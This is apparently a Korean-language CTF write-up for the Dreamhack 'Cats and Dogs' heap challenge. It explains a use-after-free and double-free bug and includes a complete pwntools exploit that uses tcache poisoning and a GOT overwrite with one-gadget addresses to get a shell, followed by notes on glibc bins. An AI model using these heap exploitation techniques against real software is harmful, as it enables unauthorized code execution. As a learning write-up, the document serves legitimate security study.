[DH] cats-and-dogs
Intro
Dreamhack의 Cats and Dogs 문제에 대한 writeup입니다.
Problem
문제는 간단한 노트 기반의 구성을 띈다.
1. Get a cat
2. See a cat
3. Pet a cat
4. Release a cat
5. Get a dog
6. See a dog
7. Pet a dog
8. Release a dog
9. Exit
Enter your choice:
메뉴는 위와 같으며, 취약점은 uaf 및 double free가 가능하다는 것이다.
ida로 돌려보면 cat은 크기가 0x90
인 메모리를 할당받고 dog은 크기가 0x100
인 메모리를 할당받는다.
그리고 추가적으로 allocation을 관리하는 array가 각각 존재하지만, see
메뉴를 사용할 때는 확인하지 않기에 leak이 가능하다.
반대로 pet
메뉴에서는 allocation 여부를 확인하기 때문에 uaf는 불가능...할 줄 알았으나 실제로는 uaf가 가능했다. allocation을 관리하는 array는 자기 자신만 확인하기 때문에 tcache에 있는 메모리를 할당받고 원래의 인덱스로 free가 가능하다.
free
의 경우는 alloation 여부를 확인하지 않기에 double free가 가능하다.
보호기법은 아래와 같다.
RELRO: Partial RELRO
NX: NX enabled
PIE: No PIE
Canary: No canary found
uaf
get_cat(0)
delete_cat(0)
get_cat(1)
delete_cat(0) # uaf 발생
write_cat(1, payload)
Scenario
- Heap base leak with tcache first entry
- Libc base leak with unsorted bin
- Perform double free on cats
- Overwrite GOT
Solution
one gagets를 찾느라 코드가 약간 길어졌다.
from pwn import *
context.arch = "amd64"
WORKDIR = "./problem"
EXECUTABLE = f"{WORKDIR}/problem/prob"
HOST = "host8.dreamhack.games"
PORT = ####
def connect():
if PORT is None:
return process(EXECUTABLE)
else:
return remote(HOST, PORT)
def get_cat(idx):
p.sendlineafter(b"choice: ", b"1")
p.sendlineafter(b": ", str(idx).encode())
def get_dog(idx):
p.sendlineafter(b"choice: ", b"5")
p.sendlineafter(b": ", str(idx).encode())
def print_cat(idx):
p.sendlineafter(b"choice: ", b"2")
p.sendlineafter(b": ", str(idx).encode())
p.recvuntil(b"A cat says: ")
return p.recvuntil(b"1.", drop=True)
def print_dog(idx):
p.sendlineafter(b"choice: ", b"6")
p.sendlineafter(b": ", str(idx).encode())
p.recvuntil(b"A cat says: ")
return p.recvuntil(b"1.", drop=True)
def write_cat(idx, data):
assert len(data) <= 0x90
p.sendlineafter(b"choice: ", b"3")
p.sendlineafter(b": ", str(idx).encode())
p.sendafter(b": ", data)
def write_dog(idx, data):
assert len(data) <= 0x100
p.sendlineafter(b"choice: ", b"7")
p.sendlineafter(b": ", str(idx).encode())
p.sendafter(b": ", data)
def delete_cat(idx):
p.sendlineafter(b"choice: ", b"4")
p.sendlineafter(b": ", str(idx).encode())
def delete_dog(idx):
p.sendlineafter(b"choice: ", b"8")
p.sendlineafter(b": ", str(idx).encode())
def safelink(ptr):
return (HEAP_BASE >> 12) ^ ptr
got_free = 0x00404010
got_exit = 0x00404020
got_printf = 0x00404040
got_scanf = 0x404060
og = [0xEBC81, 0xEBC85, 0xEBC88, 0xEBCE2, 0xEBD38, 0xEBD3F, 0xEBD43]
for j in range(len(og)):
try:
p = connect()
for i in range(9):
get_cat(i)
for i in range(9):
delete_cat(i)
leak = print_cat(0) # leak
HEAP_BASE = u64(leak[0:8]) << 12
print(f"HEAP_BASE: {hex(HEAP_BASE)}")
# Go to unsorted bin
libc = u64(print_cat(7)[0:8]) - 0x21ACE0
print(hex(libc))
# tcahce duf
get_cat(10)
delete_cat(10)
get_cat(11) # same memory
delete_cat(10) # free tache
# uaf
write_cat(11, p64(safelink(0x404010)) + b"\x00" * 8)
get_cat(2)
print(f"cat2")
get_cat(3) # target
print(f"cat3")
write_cat(
3, p64(libc + og[j]) + p64(libc + og[j]) + p64(libc + og[j])
) # overwrite free
p.sendlineafter(b"choice: ", b"4")
p.sendline(b"0")
p.sendline(b"id")
print(p.recvline().decode())
p.interactive()
p.close()
except Exception as e:
print(f"Error with og[{j}]: {hex(og[j])}")
print(e)
p.close()
continue
시행착오
0x90
, 0x100
크기의 메모리를 할당받는다는 점에서, fastbin은 사용되지 않고 곧바로 unsorted bin에 할당되는 특징이 있다.
unsortedbin 자체는 공격하기 어려우므로 smallbin으로 옮겨서 공격할 생각을 했으나, 아래 검사로 인해 smallbin으로 double free가 어려움을 확인했다.
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
tache와는 다르게 small bin으로 들어가면 prev_inuse
가 0
이 되므로 위 검사에서 오류가 발생한다.
그래서 어떻게 하면 double free 기반 공격을 할 수 있을까 고민하다가, tcache를 이용하기로 했다.
처음에 tacache를 이용한 공격을 고려하지 않았던 이유는 tcache의 key값 때문이었다.
uaf가 없어 key값을 변조하기 어려워 고려를 하지 않았던 건데, 사실 unsorted bin attack으로 bk에 해당하는 (정확히는 0x10
alignment의 0x08
offset) 영역에 큰 숫자로 오버라이드 할 수 있었다.
Unsorted bin attack은 변조대상의 위치와 값을 통제할수는 없지만, 메모리 주소로 오버라이트 한다는 점에서 tcache key를 무력화하는데 충분한다. 이에 Unsorted bin attack을 통해 tcache key를 무력화하고, tcache를 이용한 double free 공격을 하는 시나리오를 구상했으나 여전히 double free만으로 정밀하게 unsorted bin attack을 수행하는데 어려움이 있었다.
이 과정에서 small, large bin에 대해서도 공부를 할 수 있었는데, 기본적으로 메모리가 free 되었을 때 small bin에는 들어가지 않는다. tcache bin과 fast bin에 들어가지 못한 청크들은 먼저 unsorted bin에 들어가고, 대략 아래의 논리로 작용하는 것 같다.
- (추가로 free된 경우) consolidate chunk 가능하다면 하고 아니면 linked list로 추가한다.
- (malloc 요청이 들어온 경우1) tcache > fast > small | large 를 모두 찾았으나 없는 경우에 unsorted bin에서 작업을 시작한다.
- (malloc 요청이 들어온 경우2) 요청된 크기가 unsorted bin에 있다면 반환한다.
- (malloc 요청이 들어온 경우3) 요청된 크기가 unsorted bin의 청크보다 작다면 청크를 분할하여 반환한다.
- (malloc 요청이 들어온 경우4) 요청된 크기가 unsorted bin의 청크보다 크다면 청크를 새로 할당한다.
- (malloc 요청이 들어온 경우4) 이때, unsorted bin에 있는 청크는 small, large bin으로 이동한다.
이 과정에 의해서 cat과 dog에서는 cat 충분히 free해서 unsorted bin에 청크를 넣은 뒤 dog를 할당받음으로써 unsorted bin에 있던 cats 청크들을 small bin으로 이동시킬 수 있었다.
그래서 unsorted bin 상에서 정밀하게 청크를 조작해야 하는 것인가 생각했으나, 5단계 문제치고는 너무 어려워지는 것 같아 uaf를 찾기 시작했다.